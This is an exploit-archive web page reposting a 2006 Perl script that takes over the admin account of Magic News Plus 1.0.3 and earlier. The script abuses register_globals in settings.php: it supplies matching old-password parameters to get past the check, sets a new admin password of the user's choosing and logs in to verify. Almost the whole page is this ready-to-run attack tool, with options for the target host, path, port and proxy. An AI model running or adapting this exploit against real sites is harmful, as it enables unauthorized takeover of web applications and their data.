首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Magic News Plus <=1.0.3 Admin Pass Change Exploit
来源:cijfer@netti.fi 作者:cijfer 发布时间:2006-01-11  

#!/usr/bin/perl
#
# Magic News Plus <=1.0.3 Admin Pass Change Exploit
#
# Copyright (c) 2006 cijfer <cijfer@netti.fi>
# All rights reserved.
#
# An input validation flaw exists within 'settings.php'
# of Magic News Plus which can lead to the changing of
# the administrative password. Here is where the problem
# is (line 108 of 426):
#
# ...
# [1] elseif ($action == "change")
# ...
# [2] if ($passwd != $admin_password)
# ...
# [3] if ($new_passwd != $confirm_passwd)
# ...
#
# 1. &action=change
# 2. &passwd=<ANYTHING>&admin_password=<AGAIN>
# 3. &new_passwd=<NEW>&confirm_passwd=<AGAIN>
#
# -> register_globals = on
#
# haha, sorry, no cmd execute this time.
#
# $Id: cijfer-mnxpl.pl,v 0.1 2006/01/07 19:24:00 cijfer Exp cijfer $

use LWP::UserAgent;
use Getopt::Long;
use Term::ANSIColor;

$port = 80;
$new = "cijfer";
$res = GetOptions("host=s" => \$host, "dir=s" => \$dir, "port=i" => \$port, "tunnel=s" => \$tunnel, "new=s" => \$new);

&usage unless $host and $dir;
&exploit;

sub usage
{
print "Magic News Plus <=1.0.3 Admin Pass Change Exploit\n";
print "Usage: $0 -hdn [OPTION]...\n\n";
print " -h --host\thostname or ip of target\n";
print " -d --dir\tdirectory without ending slash\n";
print " -p --port\tport number (default: 80)\n";
print " -t --tunnel\tprovide an HTTP proxy (ex. 0.0.0.0:8080)\n";
print " -n --new\tnew admin password you want (default: cijfer)\n\n";
exit;
}

sub try
{
$cij=LWP::UserAgent->new() or die;
$cij->agent("Mozilla/5.0 [en] (X11; I; SunOS 5.6 sun4u)");
$cij->proxy("http", "http://".$tunnel."/") unless !$tunnel;

$path="http://".$host.$dir."/";
$out=$cij->get($path."index.php?login=admin&password=".$new."&action=login");

if($out->is_success)
{
if($out->content =~ /Wrong/)
{
print color("red"), ":(\n", color("reset");
exit;
}
}
}

sub exploit
{
$cij=LWP::UserAgent->new() or die;
$cij->agent("Mozilla/5.0 [en] (X11; I; SunOS 5.6 sun4u)");
$cij->proxy("http", "http://".$tunnel."/") unless !$tunnel;

$string = "settings.php?action=change";
$string .= "&passwd=cijfer";
$string .= "&admin_password=cijfer";
$string .= "&new_passwd=";
$string .= $new;
$string .= "&confirm_passwd=";
$string .= $new;

$path="http://".$host.$dir."/";
$out=$cij->get($path.$string);

if($out->is_success)
{
print "trying username admin and password ".$new."...\n";
&try;
print "user: admin, pass: ".$new;
print color("green"), " :)) ", color("reset");
print "-- http://".$host.$dir."\n";
}
else
{
print color("red"), ":(\n", color("reset");
exit;
}
}



 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Venom Board version 1.22 SQL I
·Cisco IP Phone 7940 remote den
·PHPNuke EV 7.7 search module q
·xmame -lang local buffer overf
·WinRAR 3.3.0 and below local B
·eStara Softphone buffer overfl
·BlueCoat WinProxy Host: Header
·漏洞名称:Microsoft Windows图形
·BlueCoat WinProxy HTTP DoS
·Serial Line Sniffer Buffer Ove
·PHP mysql_connect Function Nam
·Microsoft Windows Metafile (WM
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved